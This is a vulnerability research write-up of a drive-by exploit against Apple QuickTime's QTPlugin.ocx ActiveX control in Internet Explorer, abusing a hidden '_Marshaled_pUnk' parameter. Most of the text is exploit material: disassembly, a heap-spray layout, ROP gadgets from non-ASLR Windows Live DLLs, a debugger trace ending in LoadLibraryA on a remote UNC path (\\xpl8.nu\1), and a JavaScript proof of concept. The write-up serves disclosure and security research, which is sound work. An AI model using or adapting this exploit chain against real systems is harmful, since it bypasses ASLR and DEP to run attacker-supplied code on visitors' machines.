1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 |
Original Source: http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1 Victim prerequisites: * Internet Explorer. * XP,Vista,W7. * Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older versions not checked ) 1. Victim is enticed into visiting, by any mean, a specially crafted webpage. 2. Attacker's payload to be executed under the context of the browser. 3. Attacker calls his girlfriend to inform about the successful exploitation, who indeed turns out to be very interested in the issue. She demands more technical details. 4. Attacker wakes up. Technical details QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle params received from where it is embedded, including HTML documents. Let's take a look .text:1000E330 .text:1000E330 ; =============== S U B R O U T I N E ======================================= .text:1000E330 .text:1000E330 .text:1000E330 sub_1000E330proc near ; DATA XREF: .rdata:1002E0ECo .text:1000E330 ; .rdata:1002E86Co .text:1000E330 .text:1000E330 arg_0 = dword ptr4 .text:1000E330 arg_4 = dword ptr8 .text:1000E330 arg_8 = dword ptr0Ch .text:1000E330 .text:1000E330 pushesi .text:1000E331 mov esi, [esp+4+arg_0] .text:1000E335 mov ecx, [esi+84h] .text:1000E33B xor eax, eax .text:1000E33D testecx, ecx .text:1000E33F jzshort loc_1000E393 .text:1000E341 mov eax, [esp+4+arg_8] .text:1000E345 mov edx, [esp+4+arg_4] .text:1000E349 pusheax .text:1000E34A pushedx .text:1000E34B callsub_100031F0 Following the flow... sub_10002980+27A sub_10002980+27Aloc_10002BFA: ; CODE XREF: sub_10002980+266j sub_10002980+27A; sub_10002980+272j sub_10002980+27Apushoffset aType; "type" sub_10002980+27Fpushebx ; lpString1 sub_10002980+280callebp ; lstrcmpiA sub_10002980+282testeax, eax sub_10002980+284jnz short loc_10002C22 sub_10002980+286pushedi ; lpString sub_10002980+287callds:lstrlenA sub_10002980+28Dcmp eax, 104h sub_10002980+292jnb short loc_10002C22 sub_10002980+294pushedi ; lpString2 sub_10002980+295lea edx, [esi+83Ch] sub_10002980+29Bpushedx ; lpString1 sub_10002980+29Ccallds:lstrcpyA sub_10002980+2A2 sub_10002980+2A2loc_10002C22: ; CODE XREF: sub_10002980+284j sub_10002980+2A2; sub_10002980+292j sub_10002980+2A2pushoffset a_marshaled_pun ; "_Marshaled_pUnk" sub_10002980+2A7pushebx ; lpString1 sub_10002980+2A8callebp ; lstrcmpiA sub_10002980+2AAtesteax, eax sub_10002980+2ACjnz short loc_10002C4A sub_10002980+2AEpushedi sub_10002980+2AFcallsub_10001310 ; SIMPLE ASCII NUMBERS TO LONG routine sub_10002980+2B4add esp, 4 sub_10002980+2B7lea ecx, [esi+13B8h] sub_10002980+2BDpushecx ; ppv sub_10002980+2BEpushoffset iid; iid sub_10002980+2C3pusheax ; pStm sub_10002980+2C4callds:CoGetInterfaceAndReleaseStream; WE HAVE A WINNER!! sub_10002980+2CA sub_10002980+2CAloc_10002C4A: ; CODE XREF: sub_10002980+2ACj sub_10002980+2CApushedi ; int Oops! programming rules state that hidden properties should be preceded by "_" so this property matches the requirement. It's time to google "_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for Quicktime does not even mention it. Weird. What's is going on here? QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within object's attributes, if so, unmarshals it by converting the address from its ascii representation into a numerical one ( sub_10001310 ). Then, it uses the resulting pointer as pStm,"A pointer to the IStream interface on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain the IUnknown pointer (pUnk from now on) of the marshalled interface. This method is pretty common for sharing interface pointers between threads within COM enabled scenarios ( e.g browsers + plugins ). So we are controlling an IStream pointer, which is good :) However at this point the things didn't make sense for me. Despite of the fact that a CPluginHost object's variable holds this pointer (pPlugin+0x13b8), pUnk is never used,. According to the COM model, this pointer shouldn't be used by any other thread. Why in the hell an apple engineer implemented this? A conspiration between NSA, FSB and the bloody Andorra's secret service may be possible but I think there must be another explanation. Back to the future So I am downloading an older version of QTPlugin.ocx, which dates from 2004 (6.5.1.17), to try to explain an issue in 2010, cool. Module: QTPlugin.ocx .text:6670BE86 mov eax, [ebp+1480h ; pPlugin->pUnk ] .text:6670BE8C cmp eax, edi .text:6670BE8E jzshort loc_6670BEF7 .text:6670BE90 lea edx, [esp+7Ch+pHandles] .text:6670BE97 mov [esp+7Ch+pHandles], edi .text:6670BE9E mov ecx, [eax] .text:6670BEA0 pushedx .text:6670BEA1 pushoffset dword_667214C8 ;IID_IViewObject .text:6670BEA6 pusheax .text:6670BEA7 calldword ptr [ecx]; pUnk->QueryInterface(IID_IViewObject,pView) .text:6670BEA9 testeax, eax .text:6670BEAB jlshort loc_6670BEF7 .text:6670BEAD mov edx, [esp+7Ch+arg_10] .text:6670BEB4 pushedi .text:6670BEB5 pushedi .text:6670BEB6 mov eax, [esp+84h+pHandles] .text:6670BEBD pushedx .text:6670BEBE mov edx, [esp+88h+arg_C] .text:6670BEC5 mov ecx, [eax] .text:6670BEC7 pushedx .text:6670BEC8 mov edx, [esp+8Ch+hdc] .text:6670BECF pushedx .text:6670BED0 mov edx, [esp+90h+arg_4] .text:6670BED7 pushesi .text:6670BED8 pushedi .text:6670BED9 pushedi .text:6670BEDA push0FFFFFFFFh .text:6670BEDC pushedx .text:6670BEDD pusheax .text:6670BEDE calldword ptr [ecx+0Ch] ; pView->Draw(...) Reversing this function we can see that, in certain cases, QTPlugin.ocx could be instructed to draw contents onto an existing window instead of creating a new one. Mistery solved. However, although this functionality was removed in newer versions, the param is still present. Why? I guess someone forgot to clean up the code . Exploiting it We are controlling the IStream Pointer passed to CoGetInterfaceAndReleaseStream, at a certain point during the execution flow of this function, an IStream method is going to be referenced. ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface -> ole32!ReadObjRef -> ole32!StRead < = p0wn!! So all we need to do is emulate a fake IStream interface in memory. How? aligned heap spray FTW! This is how our sprayed block would look in memory Heap Value 15220c2015220c18// Fake VTable pointer 15220c2429527ae7// gadget1 WindowsLiveLogin 15220c2827582d63// gadget2msidcrl40.dll 15220c2c15220d08// pParam for LoadLibrary (DLL UNC PATH ) 15220c3015220cbc// -add ecx, 0A0h, mov eax, [ecx]...- gadget2 15220c3415220cbc 15220c3815220cbc 15220c3c15220cbc 15220c4015220cbc 15220c4415220cbc 15220c4815220cbc 15220c4c15220cbc 15220c5015220cbc 15220c5415220cbc 15220c5815220cbc 15220c5c15220cbc 15220c6015220cbc 15220c6415220cbc 15220c6815220cbc [...] 15220c9815220cbc 15220c9c15220cbc 15220ca015220cbc 15220ca415220cbc 15220ca815220cbc 15220cac15220cbc 15220cb015220cbc 15220cb415220cbc 15220cb815220cbc 15220cbc15220cbc 15220cc015220cbc 15220cc415220cbc 15220cc8295481e8 15220ccc295481e8 // LoadLibraryA 15220cd0295481e8 15220cd4295481e8 15220cd8295481e8 15220cdc295481e8 15220ce0295481e8 15220ce4295481e8 15220ce8295481e8 15220cec295481e8 15220cf0295481e8 15220cf4295481e8 15220cf8295481e8 15220cfc295481e8 15220d00295481e8 15220d04295481e8 15220d0870785c5c// DLL UNC PATH"\\xpl8.nu\1" 15220d0c6e2e386c 15220d1000315c75 Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located. As you can see a couple of gadgets are used, since this is a ROP exploit, however esp is not controlled at all. I'm taking advantage of common code generated by c++ compilers to control parameters and execution. The gadgets come from Windows Live messenger dlls that are loaded by default on IE and have no ASLR flag. 0x29527AE7 WindowsLiveLogin.dll gadget1 mov edx, [esi+0Ch] mov eax, [esi+8] pushedi pushoffset dword_29501B68 pushedx calleax 0x27582D63 msidcrl40.dll gadget2 add ecx, 0A0h mov eax, [ecx] mov eax, [eax+10h] pop ebp jmp eax stepping into the payload ole32!StRead+0x15: 75c9af58 ff510ccalldword ptr [ecx+0Ch]ds:0023:15220c24=29527ae7 0:004> t eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20 edi=02c139d0 eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x937: 29527ae7 8b560cmov edx,dword ptr [esi+0Ch] ds:0023:15220c2c=15220d08 0:004> t eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=29527aea esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x93a: 29527aea 8b4608mov eax,dword ptr [esi+8] ds:0023:15220c28=27582d63 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=29527aed esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x93d: 29527aed 57pushedi 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=29527aee esp=02c13948 ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x93e: 29527aee 68681b5029pushoffset WindowsLiveLogin+0x1b68 (29501b68) 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x943: 29527af3 52pushedx 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 WindowsLiveLogin!DllCanUnloadNow+0x944: 29527af4 ffd0calleax {msidcrl40!EnumerateDeviceID+0xa113 (27582d63)} 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0 eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 msidcrl40!EnumerateDeviceID+0xa113: 27582d63 81c1a0000000add ecx,0A0h 0:004> t eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0 eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 msidcrl40!EnumerateDeviceID+0xa119: 27582d69 8b01mov eax,dword ptr [ecx]ds:0023:15220cb8=15220cbc 0:004> t eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0 eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 msidcrl40!EnumerateDeviceID+0xa11b: 27582d6b 8b4010mov eax,dword ptr [eax+10h] ds:0023:15220ccc=295481e8 0:004> t eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0 eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 msidcrl40!EnumerateDeviceID+0xa11e: 27582d6e 5dpop ebp 0:004> t eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0 eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 msidcrl40!EnumerateDeviceID+0xa11f: 27582d6f ffe0jmp eax {WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)} 0:004> t eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0 eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 WindowsLiveLogin!DllUnregisterServer+0x1f588: 295481e8 ff15f8105029calldword ptr [WindowsLiveLogin+0x10f8 (295010f8)] ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)} 0:004> db poi(esp) 15220d085c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00\\xpl8.nu\1.....p0wn!! Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC payload seems not very dangerous...isn't it? ;) The exploit defeats ASLR+DEP and has been successfully tested on W7, Vista and XP. A metasploit module should be available soon since I sent the exploit details to Josuah Drake some days before releasing this advisory. PoC: addr = 354552864; // 0x15220C20 [pUnk] var obj='<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>' +'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>' +'<'+'/'+'object>'; |